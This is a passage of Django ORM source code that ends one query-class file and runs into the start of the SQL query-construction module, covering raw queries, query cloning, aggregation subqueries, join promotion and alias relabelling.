        self.objs = []

    def clone(self, klass=None, **kwargs):
        extras = {
            'fields': self.fields[:],
            'objs': self.objs[:],
            'raw': self.raw,
        }
        extras.update(kwargs)
        return super(InsertQuery, self).clone(klass, **extras)

    def insert_values(self, fields, objs, raw=False):
        """
        Set up the insert query from the 'insert_values' dictionary. The
        dictionary gives the model field names and their target values.

        If 'raw_values' is True, the values in the 'insert_values' dictionary
        are inserted directly into the query, rather than passed as SQL
        parameters. This provides a way to insert NULL and DEFAULT keywords
        into the query, for example.
        """
        self.fields = fields
        self.objs = objs
        self.raw = raw


class AggregateQuery(Query):
    """
    An AggregateQuery takes another query as a parameter to the FROM
    clause and only selects the elements in the provided list.
    """

    compiler = 'SQLAggregateCompiler'

    def add_subquery(self, query, using):
        self.subquery, self.sub_params = query.get_compiler(using).as_sql(
            with_col_aliases=True,
            subquery=True,
        )






"""
Create SQL statements for QuerySets.

The code in here encapsulates all of the SQL construction so that QuerySets
themselves do not have to (and could be backed by things other than SQL
databases). The abstraction barrier only works one way: this module has to know
all about the internals of models in order to get the information it needs.
"""
import copy
import warnings
from collections import Counter, Iterator, Mapping, OrderedDict
from itertools import chain, count, product
from string import ascii_uppercase

from django.core.exceptions import FieldDoesNotExist, FieldError
from django.db import DEFAULT_DB_ALIAS, connections
from django.db.models.aggregates import Count
from django.db.models.constants import LOOKUP_SEP
from django.db.models.expressions import Col, Ref
from django.db.models.fields.related_lookups import MultiColSource
from django.db.models.query_utils import (
    PathInfo, Q, check_rel_lookup_compatibility, refs_expression,
)
from django.db.models.sql.constants import (
    INNER, LOUTER, ORDER_DIR, ORDER_PATTERN, QUERY_TERMS, SINGLE,
)
from django.db.models.sql.datastructures import (
    BaseTable, Empty, EmptyResultSet, Join, MultiJoin,
)
from django.db.models.sql.where import (
    AND, OR, ExtraWhere, NothingNode, WhereNode,
)
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.utils.tree import Node

__all__ = ['Query', 'RawQuery']


def get_field_names_from_opts(opts):
    return set(chain.from_iterable(
        (f.name, f.attname) if f.concrete else (f.name,)
        for f in opts.get_fields()
    ))


class RawQuery(object):
    """
    A single raw SQL query
    """

    def __init__(self, sql, using, params=None, context=None):
        self.params = params or ()
        self.sql = sql
        self.using = using
        self.cursor = None

        # Mirror some properties of a normal query so that
        # the compiler can be used to process results.
        self.low_mark, self.high_mark = 0, None  # Used for offset/limit
        self.extra_select = {}
        self.annotation_select = {}
        self.context = context or {}

    def clone(self, using):
        return RawQuery(self.sql, using, params=self.params, context=self.context.copy())

    def get_columns(self):
        if self.cursor is None:
            self._execute_query()
        converter = connections[self.using].introspection.column_name_converter
        return [converter(column_meta[0])
                for column_meta in self.cursor.description]

    def __iter__(self):
        # Always execute a new query for a new iterator.
        # This could be optimized with a cache at the expense of RAM.
        self._execute_query()
        if not connections[self.using].features.can_use_chunked_reads:
            # If the database can't use chunked reads we need to make sure we
            # evaluate the entire query up front.
            result = list(self.cursor)
        else:
            result = self.cursor
        return iter(result)

    def __repr__(self):
        return "<RawQuery: %s>" % self

    @property
    def params_type(self):
        return dict if isinstance(self.params, Mapping) else tuple

    def __str__(self):
        return self.sql % self.params_type(self.params)

    def _execute_query(self):
        connection = connections[self.using]

        # Adapt parameters to the database, as much as possible considering
        # that the target type isn't known. See #17755.
        params_type = self.params_type
        adapter = connection.ops.adapt_unknown_value
        if params_type is tuple:
            params = tuple(adapter(val) for val in self.params)
        elif params_type is dict:
            params = dict((key, adapter(val)) for key, val in six.iteritems(self.params))
        else:
            raise RuntimeError("Unexpected params type: %s" % params_type)

        self.cursor = connection.cursor()
        self.cursor.execute(self.sql, params)


class Query(object):
    """
    A single SQL query.
    """

    alias_prefix = 'T'
    subq_aliases = frozenset([alias_prefix])
    query_terms = QUERY_TERMS

    compiler = 'SQLCompiler'

    def __init__(self, model, where=WhereNode):
        self.model = model
        self.alias_refcount = {}
        # alias_map is the most important data structure regarding joins.
        # It's used for recording which joins exist in the query and what
        # types they are. The key is the alias of the joined table (possibly
        # the table name) and the value is a Join-like object (see
        # sql.datastructures.Join for more information).
        self.alias_map = {}
        # Sometimes the query contains references to aliases in outer queries (as
        # a result of split_exclude). Correct alias quoting needs to know these
        # aliases too.
        self.external_aliases = set()
        self.table_map = {}     # Maps table names to list of aliases.
        self.default_cols = True
        self.default_ordering = True
        self.standard_ordering = True
        self.used_aliases = set()
        self.filter_is_sticky = False

        # SQL-related attributes
        # Select and related select clauses are expressions to use in the
        # SELECT clause of the query.
        # The select is used for cases where we want to set up the select
        # clause to contain other than default fields (values(), subqueries...)
        # Note that annotations go to annotations dictionary.
        self.select = []
        self.tables = []    # Aliases in the order they are created.
        self.where = where()
        self.where_class = where
        # The group_by attribute can have one of the following forms:
        #  - None: no group by at all in the query
        #  - A list of expressions: group by (at least) those expressions.
        #    String refs are also allowed for now.
        #  - True: group by all select fields of the model
        # See compiler.get_group_by() for details.
        self.group_by = None
        self.order_by = []
        self.low_mark, self.high_mark = 0, None  # Used for offset/limit
        self.distinct = False
        self.distinct_fields = []
        self.select_for_update = False
        self.select_for_update_nowait = False
        self.select_for_update_skip_locked = False

        self.select_related = False
        # Arbitrary limit for select_related to prevents infinite recursion.
        self.max_depth = 5

        # Holds the selects defined by a call to values() or values_list()
        # excluding annotation_select and extra_select.
        self.values_select = []

        # SQL annotation-related attributes
        # The _annotations will be an OrderedDict when used. Due to the cost
        # of creating OrderedDict this attribute is created lazily (in
        # self.annotations property).
        self._annotations = None  # Maps alias -> Annotation Expression
        self.annotation_select_mask = None
        self._annotation_select_cache = None

        # These are for extensions. The contents are more or less appended
        # verbatim to the appropriate clause.
        # The _extra attribute is an OrderedDict, lazily created similarly to
        # .annotations
        self._extra = None  # Maps col_alias -> (col_sql, params).
        self.extra_select_mask = None
        self._extra_select_cache = None

        self.extra_tables = ()
        self.extra_order_by = ()

        # A tuple that is a set of model field names and either True, if these
        # are the fields to defer, or False if these are the only fields to
        # load.
        self.deferred_loading = (set(), True)

        self.context = {}

    @property
    def extra(self):
        if self._extra is None:
            self._extra = OrderedDict()
        return self._extra

    @property
    def annotations(self):
        if self._annotations is None:
            self._annotations = OrderedDict()
        return self._annotations

    def __str__(self):
        """
        Returns the query as a string of SQL with the parameter values
        substituted in (use sql_with_params() to see the unsubstituted string).

        Parameter values won't necessarily be quoted correctly, since that is
        done by the database interface at execution time.
        """
        sql, params = self.sql_with_params()
        return sql % params

    def sql_with_params(self):
        """
        Returns the query as an SQL string and the parameters that will be
        substituted into the query.
        """
        return self.get_compiler(DEFAULT_DB_ALIAS).as_sql()

    def __deepcopy__(self, memo):
        result = self.clone(memo=memo)
        memo[id(self)] = result
        return result

    def _prepare(self, field):
        return self

    def get_compiler(self, using=None, connection=None):
        if using is None and connection is None:
            raise ValueError("Need either using or connection")
        if using:
            connection = connections[using]
        return connection.ops.compiler(self.compiler)(self, connection, using)

    def get_meta(self):
        """
        Returns the Options instance (the model._meta) from which to start
        processing. Normally, this is self.model._meta, but it can be changed
        by subclasses.
        """
        return self.model._meta

    def clone(self, klass=None, memo=None, **kwargs):
        """
        Creates a copy of the current instance. The 'kwargs' parameter can be
        used by clients to update attributes after copying has taken place.
        """
        obj = Empty()
        obj.__class__ = klass or self.__class__
        obj.model = self.model
        obj.alias_refcount = self.alias_refcount.copy()
        obj.alias_map = self.alias_map.copy()
        obj.external_aliases = self.external_aliases.copy()
        obj.table_map = self.table_map.copy()
        obj.default_cols = self.default_cols
        obj.default_ordering = self.default_ordering
        obj.standard_ordering = self.standard_ordering
        obj.select = self.select[:]
        obj.tables = self.tables[:]
        obj.where = self.where.clone()
        obj.where_class = self.where_class
        if self.group_by is None:
            obj.group_by = None
        elif self.group_by is True:
            obj.group_by = True
        else:
            obj.group_by = self.group_by[:]
        obj.order_by = self.order_by[:]
        obj.low_mark, obj.high_mark = self.low_mark, self.high_mark
        obj.distinct = self.distinct
        obj.distinct_fields = self.distinct_fields[:]
        obj.select_for_update = self.select_for_update
        obj.select_for_update_nowait = self.select_for_update_nowait
        obj.select_for_update_skip_locked = self.select_for_update_skip_locked
        obj.select_related = self.select_related
        obj.values_select = self.values_select[:]
        obj._annotations = self._annotations.copy() if self._annotations is not None else None
        if self.annotation_select_mask is None:
            obj.annotation_select_mask = None
        else:
            obj.annotation_select_mask = self.annotation_select_mask.copy()
        # _annotation_select_cache cannot be copied, as doing so breaks the
        # (necessary) state in which both annotations and
        # _annotation_select_cache point to the same underlying objects.
        # It will get re-populated in the cloned queryset the next time it's
        # used.
        obj._annotation_select_cache = None
        obj.max_depth = self.max_depth
        obj._extra = self._extra.copy() if self._extra is not None else None
        if self.extra_select_mask is None:
            obj.extra_select_mask = None
        else:
            obj.extra_select_mask = self.extra_select_mask.copy()
        if self._extra_select_cache is None:
            obj._extra_select_cache = None
        else:
            obj._extra_select_cache = self._extra_select_cache.copy()
        obj.extra_tables = self.extra_tables
        obj.extra_order_by = self.extra_order_by
        obj.deferred_loading = copy.copy(self.deferred_loading[0]), self.deferred_loading[1]
        if self.filter_is_sticky and self.used_aliases:
            obj.used_aliases = self.used_aliases.copy()
        else:
            obj.used_aliases = set()
        obj.filter_is_sticky = False
        if 'alias_prefix' in self.__dict__:
            obj.alias_prefix = self.alias_prefix
        if 'subq_aliases' in self.__dict__:
            obj.subq_aliases = self.subq_aliases.copy()

        obj.__dict__.update(kwargs)
        if hasattr(obj, '_setup_query'):
            obj._setup_query()
        obj.context = self.context.copy()
        return obj

    def add_context(self, key, value):
        self.context[key] = value

    def get_context(self, key, default=None):
        return self.context.get(key, default)

    def relabeled_clone(self, change_map):
        clone = self.clone()
        clone.change_aliases(change_map)
        return clone

    def rewrite_cols(self, annotation, col_cnt):
        # We must make sure the inner query has the referred columns in it.
        # If we are aggregating over an annotation, then Django uses Ref()
        # instances to note this. However, if we are annotating over a column
        # of a related model, then it might be that column isn't part of the
        # SELECT clause of the inner query, and we must manually make sure
        # the column is selected. An example case is:
        #    .aggregate(Sum('author__awards'))
        # Resolving this expression results in a join to author, but there
        # is no guarantee the awards column of author is in the select clause
        # of the query. Thus we must manually add the column to the inner
        # query.
        orig_exprs = annotation.get_source_expressions()
        new_exprs = []
        for expr in orig_exprs:
            if isinstance(expr, Ref):
                # Its already a Ref to subquery (see resolve_ref() for
                # details)
                new_exprs.append(expr)
            elif isinstance(expr, Col):
                # Reference to column. Make sure the referenced column
                # is selected.
                col_cnt += 1
                col_alias = '__col%d' % col_cnt
                self.annotations[col_alias] = expr
                self.append_annotation_mask([col_alias])
                new_exprs.append(Ref(col_alias, expr))
            else:
                # Some other expression not referencing database values
                # directly. Its subexpression might contain Cols.
                new_expr, col_cnt = self.rewrite_cols(expr, col_cnt)
                new_exprs.append(new_expr)
        annotation.set_source_expressions(new_exprs)
        return annotation, col_cnt

    def get_aggregation(self, using, added_aggregate_names):
        """
        Returns the dictionary with the values of the existing aggregations.
        """
        if not self.annotation_select:
            return {}
        has_limit = self.low_mark != 0 or self.high_mark is not None
        has_existing_annotations = any(
            annotation for alias, annotation
            in self.annotations.items()
            if alias not in added_aggregate_names
        )
        # Decide if we need to use a subquery.
        #
        # Existing annotations would cause incorrect results as get_aggregation()
        # must produce just one result and thus must not use GROUP BY. But we
        # aren't smart enough to remove the existing annotations from the
        # query, so those would force us to use GROUP BY.
        #
        # If the query has limit or distinct, then those operations must be
        # done in a subquery so that we are aggregating on the limit and/or
        # distinct results instead of applying the distinct and limit after the
        # aggregation.
        if (isinstance(self.group_by, list) or has_limit or has_existing_annotations or
                self.distinct):
            from django.db.models.sql.subqueries import AggregateQuery
            outer_query = AggregateQuery(self.model)
            inner_query = self.clone()
            inner_query.select_for_update = False
            inner_query.select_related = False
            if not has_limit and not self.distinct_fields:
                # Queries with distinct_fields need ordering and when a limit
                # is applied we must take the slice from the ordered query.
                # Otherwise no need for ordering.
                inner_query.clear_ordering(True)
            if not inner_query.distinct:
                # If the inner query uses default select and it has some
                # aggregate annotations, then we must make sure the inner
                # query is grouped by the main model's primary key. However,
                # clearing the select clause can alter results if distinct is
                # used.
                if inner_query.default_cols and has_existing_annotations:
                    inner_query.group_by = [self.model._meta.pk.get_col(inner_query.get_initial_alias())]
                inner_query.default_cols = False

            relabels = {t: 'subquery' for t in inner_query.tables}
            relabels[None] = 'subquery'
            # Remove any aggregates marked for reduction from the subquery
            # and move them to the outer AggregateQuery.
            col_cnt = 0
            for alias, expression in list(inner_query.annotation_select.items()):
                if expression.is_summary:
                    expression, col_cnt = inner_query.rewrite_cols(expression, col_cnt)
                    outer_query.annotations[alias] = expression.relabeled_clone(relabels)
                    del inner_query.annotations[alias]
                # Make sure the annotation_select wont use cached results.
                inner_query.set_annotation_mask(inner_query.annotation_select_mask)
            if inner_query.select == [] and not inner_query.default_cols and not inner_query.annotation_select_mask:
                # In case of Model.objects[0:3].count(), there would be no
                # field selected in the inner query, yet we must use a subquery.
                # So, make sure at least one field is selected.
                inner_query.select = [self.model._meta.pk.get_col(inner_query.get_initial_alias())]
            try:
                outer_query.add_subquery(inner_query, using)
            except EmptyResultSet:
                return {
                    alias: None
                    for alias in outer_query.annotation_select
                }
        else:
            outer_query = self
            self.select = []
            self.default_cols = False
            self._extra = {}

        outer_query.clear_ordering(True)
        outer_query.clear_limits()
        outer_query.select_for_update = False
        outer_query.select_related = False
        compiler = outer_query.get_compiler(using)
        result = compiler.execute_sql(SINGLE)
        if result is None:
            result = [None for q in outer_query.annotation_select.items()]

        converters = compiler.get_converters(outer_query.annotation_select.values())
        result = compiler.apply_converters(result, converters)

        return {
            alias: val
            for (alias, annotation), val
            in zip(outer_query.annotation_select.items(), result)
        }

    def get_count(self, using):
        """
        Performs a COUNT() query using the current filter constraints.
        """
        obj = self.clone()
        obj.add_annotation(Count('*'), alias='__count', is_summary=True)
        number = obj.get_aggregation(using, ['__count'])['__count']
        if number is None:
            number = 0
        return number

    def has_filters(self):
        return self.where

    def has_results(self, using):
        q = self.clone()
        if not q.distinct:
            if q.group_by is True:
                q.add_fields((f.attname for f in self.model._meta.concrete_fields), False)
                q.set_group_by()
            q.clear_select_clause()
        q.clear_ordering(True)
        q.set_limits(high=1)
        compiler = q.get_compiler(using=using)
        return compiler.has_results()

    def combine(self, rhs, connector):
        """
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, "to the right of") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """
        assert self.model == rhs.model, \
            "Cannot combine queries on two different base models."
        assert self.can_filter(), \
            "Cannot combine queries once a slice has been taken."
        assert self.distinct == rhs.distinct, \
            "Cannot combine a unique query with a non-unique query."
        assert self.distinct_fields == rhs.distinct_fields, \
            "Cannot combine queries with different distinct fields."

        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        joinpromoter = JoinPromoter(connector, 2, False)
        joinpromoter.add_votes(
            j for j in self.alias_map if self.alias_map[j].join_type == INNER)
        rhs_votes = set()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            join = rhs.alias_map[alias]
            # If the left side of the join was already relabeled, use the
            # updated alias.
            join = join.relabeled_clone(change_map)
            new_alias = self.join(join, reuse=reuse)
            if join.join_type == INNER:
                rhs_votes.add(new_alias)
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            if alias != new_alias:
                change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)
        joinpromoter.add_votes(rhs_votes)
        joinpromoter.update_join_types(self)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        w = rhs.where.clone()
        w.relabel_aliases(change_map)
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col in rhs.select:
            self.add_select(col.relabeled_clone(change_map))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self._extra and rhs._extra:
                raise ValueError("When merging querysets using 'or', you cannot have extra(select=...) on both sides.")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by[:] if rhs.order_by else self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by

    def deferred_to_data(self, target, callback):
        """
        Converts the self.deferred_loading data structure to an alternate data
        structure, describing the field that *will* be loaded. This is used to
        compute the columns to select from the database and also by the
        QuerySet class to work out which fields are being initialized on each
        model. Models that have all their fields included aren't mentioned in
        the result, only those that have field restrictions in place.

        The "target" parameter is the instance that is populated (in place).
        The "callback" is a function that is called whenever a (model, field)
        pair need to be added to "target". It accepts three parameters:
        "target", and the model and list of fields being added for that model.
        """
        field_names, defer = self.deferred_loading
        if not field_names:
            return
        orig_opts = self.get_meta()
        seen = {}
        must_include = {orig_opts.concrete_model: {orig_opts.pk}}
        for field_name in field_names:
            parts = field_name.split(LOOKUP_SEP)
            cur_model = self.model._meta.concrete_model
            opts = orig_opts
            for name in parts[:-1]:
                old_model = cur_model
                source = opts.get_field(name)
                if is_reverse_o2o(source):
                    cur_model = source.related_model
                else:
                    cur_model = source.remote_field.model
                opts = cur_model._meta
                # Even if we're "just passing through" this model, we must add
                # both the current model's pk and the related reference field
                # (if it's not a reverse relation) to the things we select.
                if not is_reverse_o2o(source):
                    must_include[old_model].add(source)
                add_to_dict(must_include, cur_model, opts.pk)
            field = opts.get_field(parts[-1])
            is_reverse_object = field.auto_created and not field.concrete
            model = field.related_model if is_reverse_object else field.model
            model = model._meta.concrete_model
            if model == opts.model:
                model = cur_model
            if not is_reverse_o2o(field):
                add_to_dict(seen, model, field)

        if defer:
            # We need to load all fields for each model, except those that
            # appear in "seen" (for all models that appear in "seen"). The only
            # slight complexity here is handling fields that exist on parent
            # models.
            workset = {}
            for model, values in six.iteritems(seen):
                for field in model._meta.fields:
                    if field in values:
                        continue
                    m = field.model._meta.concrete_model
                    add_to_dict(workset, m, field)
            for model, values in six.iteritems(must_include):
                # If we haven't included a model in workset, we don't add the
                # corresponding must_include fields for that model, since an
                # empty set means "include all fields". That's why there's no
                # "else" branch here.
                if model in workset:
                    workset[model].update(values)
            for model, values in six.iteritems(workset):
                callback(target, model, values)
        else:
            for model, values in six.iteritems(must_include):
                if model in seen:
                    seen[model].update(values)
                else:
                    # As we've passed through this model, but not explicitly
                    # included any fields, we have to make sure it's mentioned
                    # so that only the "must include" fields are pulled in.
                    seen[model] = values
            # Now ensure that every model in the inheritance chain is mentioned
            # in the parent list. Again, it must be mentioned to ensure that
            # only "must include" fields are pulled in.
            for model in orig_opts.get_parent_list():
                if model not in seen:
                    seen[model] = set()
            for model, values in six.iteritems(seen):
                callback(target, model, values)

    def table_alias(self, table_name, create=False):
        """
        Returns a table alias for the given table_name and whether this is a
        new alias or not.

        If 'create' is true, a new alias is always created. Otherwise, the
        most recently created alias for the table (if one exists) is reused.
        """
        alias_list = self.table_map.get(table_name)
        if not create and alias_list:
            alias = alias_list[0]
            self.alias_refcount[alias] += 1
            return alias, False

        # Create a new alias for this table.
        if alias_list:
            alias = '%s%d' % (self.alias_prefix, len(self.alias_map) + 1)
            alias_list.append(alias)
        else:
            # The first occurrence of a table uses the table name directly.
            alias = table_name
            self.table_map[alias] = [alias]
        self.alias_refcount[alias] = 1
        self.tables.append(alias)
        return alias, True

    def ref_alias(self, alias):
        """ Increases the reference count for this alias. """
        self.alias_refcount[alias] += 1

    def unref_alias(self, alias, amount=1):
        """ Decreases the reference count for this alias. """
        self.alias_refcount[alias] -= amount

    def promote_joins(self, aliases):
        """
        Promotes recursively the join type of given aliases and its children to
        an outer join. If 'unconditional' is False, the join is only promoted if
        it is nullable or the parent join is an outer join.

        The children promotion is done to avoid join chains that contain a LOUTER
        b INNER c. So, if we have currently a INNER b INNER c and a->b is promoted,
        then we must also promote b->c automatically, or otherwise the promotion
        of a->b doesn't actually change anything in the query results.
        """
        aliases = list(aliases)
        while aliases:
            alias = aliases.pop(0)
            if self.alias_map[alias].join_type is None:
                # This is the base table (first FROM entry) - this table
                # isn't really joined at all in the query, so we should not
                # alter its join type.
                continue
            # Only the first alias (skipped above) should have None join_type
            assert self.alias_map[alias].join_type is not None
            parent_alias = self.alias_map[alias].parent_alias
            parent_louter = parent_alias and self.alias_map[parent_alias].join_type == LOUTER
            already_louter = self.alias_map[alias].join_type == LOUTER
            if ((self.alias_map[alias].nullable or parent_louter) and
                    not already_louter):
                self.alias_map[alias] = self.alias_map[alias].promote()
                # Join type of 'alias' changed, so re-examine all aliases that
                # refer to this one.
                aliases.extend(
                    join for join in self.alias_map.keys()
                    if self.alias_map[join].parent_alias == alias and join not in aliases
                )

    def demote_joins(self, aliases):
        """
        Change join type from LOUTER to INNER for all joins in aliases.

        Similarly to promote_joins(), this method must ensure no join chains
        containing first an outer, then an inner join are generated. If we
        are demoting b->c join in chain a LOUTER b LOUTER c then we must
        demote a->b automatically, or otherwise the demotion of b->c doesn't
        actually change anything in the query results. .
        """
        aliases = list(aliases)
        while aliases:
            alias = aliases.pop(0)
            if self.alias_map[alias].join_type == LOUTER:
                self.alias_map[alias] = self.alias_map[alias].demote()
                parent_alias = self.alias_map[alias].parent_alias
                if self.alias_map[parent_alias].join_type == INNER:
                    aliases.append(parent_alias)

    def reset_refcounts(self, to_counts):
        """
        This method will reset reference counts for aliases so that they match
        the value passed in :param to_counts:.
        """
        for alias, cur_refcount in self.alias_refcount.copy().items():
            unref_amount = cur_refcount - to_counts.get(alias, 0)
            self.unref_alias(alias, unref_amount)

    def change_aliases(self, change_map):
        """
        Changes the aliases in change_map (which maps old-alias -> new-alias),
        relabelling any references to them in select columns and the where
        clause.
        """
        assert set(change_map.keys()).intersection(set(change_map.values())) == set()

        def relabel_column(col):
            if isinstance(col, (list, tuple)):
                old_alias = col[0]
                return (change_map.get(old_alias, old_alias), col[1])
            else:
                return col.relabeled_clone(change_map)
        # 1. Update references in "select" (normal columns plus aliases),
        # "group by" and "where".
        self.where.relabel_aliases(change_map)
        if isinstance(self.group_by, list):
            self.group_by = [relabel_column(col) for col in self.group_by]
        self.select = [col.relabeled_clone(change_map) for col in self.select]
        if self._annotations:
            self._annotations = OrderedDict(
                (key, relabel_column(col)) for key, col in self._annotations.items())

        # 2. Rename the alias in the internal table/alias datastructures.
        for old_alias, new_alias in six.iteritems(change_map):
            if old_alias not in self.alias_map:
                continue
            alias_data = self.alias_map[old_alias].relabeled_clone(change_map)
            self.alias_map[new_alias] = alias_data
            self.alias_refcount[new_alias] = self.alias_refcount[old_alias]
            del self.alias_refcount[old_alias]
            del self.alias_map[old_alias]

            table_aliases = self.table_map[alias_data.table_name]
            for pos, alias in enumerate(table_aliases):
                if alias == old_alias:
                    table_aliases[pos] = new_alias
                    break
            for pos, alias in enumerate(self.tables):
                if alias == old_alias:
                    self.tables[pos] = new_alias
                    break
        self.external_aliases = {change_map.get(alias, alias)
                                 for alias in self.external_aliases}

    def bump_prefix(self, outer_query):
        """
        Changes the alias prefix to the next letter in the alphabet in a way
        that the outer query's aliases and this query's aliases will not
        conflict. Even tables that previously had no alias will get an alias
        after this call.
        """
        def prefix_gen():
            """
            Generates a sequence of characters in alphabetical order:
                -> 'A', 'B', 'C', ...

            When the alphabet is finished, the sequence will continue with the
            Cartesian product:
                -> 'AA', 'AB', 'AC', ...
            """
            alphabet = ascii_uppercase
            prefix = chr(ord(self.alias_prefix) + 1)
            yield prefix
            for n in count(1):
                seq = alphabet[alphabet.index(prefix):] if prefix else alphabet
                for s in product(seq, repeat=n):
                    yield ''.join(s)
                prefix = None

        if self.alias_prefix != outer_query.alias_prefix:
            # No clashes between self and outer query should be possible.
            return

        local_recursion_limit = 127  # explicitly avoid infinite loop
        for pos, prefix in enumerate(prefix_gen()):
            if prefix not in self.subq_aliases:
                self.alias_prefix = prefix
                break
            if pos > local_recursion_limit:
                raise RuntimeError(
                    'Maximum recursion depth exceeded: too many subqueries.'
                )
        self.subq_aliases = self.subq_aliases.union([self.alias_prefix])
        outer_query.subq_aliases = outer_query.subq_aliases.union(self.subq_aliases)
        change_map = OrderedDict()
        for pos, alias in enumerate(self.tables):
            new_alias = '%s%d' % (self.alias_prefix, pos)
            change_map[alias] = new_alias
            self.tables[pos] = new_alias
        self.change_aliases(change_map)

    def get_initial_alias(self):
        """
        Returns the first alias for this query, after increasing its reference
        count.
        """
        if self.tables:
            alias = self.tables[0]
            self.ref_alias(alias)
        else:
            alias = self.join(BaseTable(self.get_meta().db_table, None))
        return alias

    def count_active_tables(self):
        """
        Returns the number of tables in this query with a non-zero reference
        count. Note that after execution, the reference counts are zeroed, so
        tables added in compiler will not be seen by this method.
        """
        return len([1 for count in self.alias_refcount.values() if count])

    def join(self, join, reuse=None):
        """
        Returns an alias for the join in 'connection', either reusing an
        existing alias for that join or creating a new one. 'connection' is a
        tuple (lhs, table, join_cols) where 'lhs' is either an existing
        table alias or a table name. 'join_cols' is a tuple of tuples containing
        columns to join on ((l_id1, r_id1), (l_id2, r_id2)). The join corresponds
        to the SQL equivalent of::

            lhs.l_id1 = table.r_id1 AND lhs.l_id2 = table.r_id2

        The 'reuse' parameter can be either None which means all joins
        (matching the connection) are reusable, or it can be a set containing
        the aliases that can be reused.

        A join is always created as LOUTER if the lhs alias is LOUTER to make
        sure we do not generate chains like t1 LOUTER t2 INNER t3. All new
        joins are created as LOUTER if nullable is True.

        If 'nullable' is True, the join can potentially involve NULL values and
        is a candidate for promotion (to "left outer") when combining querysets.

        The 'join_field' is the field we are joining along (if any).
        """
        reuse = [a for a, j in self.alias_map.items()
                 if (reuse is None or a in reuse) and j == join]
        if reuse:
            self.ref_alias(reuse[0])
            return reuse[0]

        # No reuse is possible, so we need a new alias.
        alias, _ = self.table_alias(join.table_name, create=True)
        if join.join_type:
            if self.alias_map[join.parent_alias].join_type == LOUTER or join.nullable:
                join_type = LOUTER
            else:
                join_type = INNER
            join.join_type = join_type
        join.table_alias = alias
        self.alias_map[alias] = join
        return alias

    def join_parent_model(self, opts, model, alias, seen):
        """
        Makes sure the given 'model' is joined in the query. If 'model' isn't
        a parent of 'opts' or if it is None this method is a no-op.

        The 'alias' is the root alias for starting the join, 'seen' is a dict
        of model -> alias of existing joins. It must also contain a mapping
        of None -> some alias. This will be returned in the no-op case.
        """
        if model in seen:
            return seen[model]
        chain = opts.get_base_chain(model)
        if not chain:
            return alias
        curr_opts = opts
        for int_model in chain:
            if int_model in seen:
                curr_opts = int_model._meta
                alias = seen[int_model]
                continue
            # Proxy model have elements in base chain
            # with no parents, assign the new options
            # object and skip to the next base in that
            # case
            if not curr_opts.parents[int_model]:
                curr_opts = int_model._meta
                continue
            link_field = curr_opts.get_ancestor_link(int_model)
            _, _, _, joins, _ = self.setup_joins(
                [link_field.name], curr_opts, alias)
            curr_opts = int_model._meta
            alias = seen[int_model] = joins[-1]
        return alias or seen[None]

    def add_annotation(self, annotation, alias, is_summary=False):
        """
        Adds a single annotation expression to the Query
        """
        annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,
                                                   summarize=is_summary)
        self.append_annotation_mask([alias])
        self.annotations[alias] = annotation

    def prepare_lookup_value(self, value, lookups, can_reuse, allow_joins=True):
        # Default lookup if none given is exact.
        used_joins = []
        if len(lookups) == 0:
            lookups = ['exact']
        # Interpret '__exact=None' as the sql 'is NULL'; otherwise, reject all
        # uses of None as a query value.
        if value is None:
            if lookups[-1] not in ('exact', 'iexact'):
                raise ValueError("Cannot use None as a query value")
            lookups[-1] = 'isnull'
            value = True
        elif hasattr(value, 'resolve_expression'):
            pre_joins = self.alias_refcount.copy()
            value = value.resolve_expression(self, reuse=can_reuse, allow_joins=allow_joins)
            used_joins = [k for k, v in self.alias_refcount.items() if v > pre_joins.get(k, 0)]
        elif isinstance(value, (list, tuple)):
            # The items of the iterable may be expressions and therefore need
            # to be resolved independently.
            processed_values = []
            used_joins = set()
            for sub_value in value:
                if hasattr(sub_value, 'resolve_expression'):
                    pre_joins = self.alias_refcount.copy()
                    processed_values.append(
                        sub_value.resolve_expression(self, reuse=can_reuse, allow_joins=allow_joins)
                    )
                    # The used_joins for a tuple of expressions is the union of
                    # the used_joins for the individual expressions.
                    used_joins |= set(k for k, v in self.alias_refcount.items() if v > pre_joins.get(k, 0))
        # Subqueries need to use a different set of aliases than the
        # outer query. Call bump_prefix to change aliases of the inner
        # query (the value).
        if hasattr(value, 'query') and hasattr(value.query, 'bump_prefix'):
            value = value._clone()
            value.query.bump_prefix(self)
        if hasattr(value, 'bump_prefix'):
            value = value.clone()
            value.bump_prefix(self)
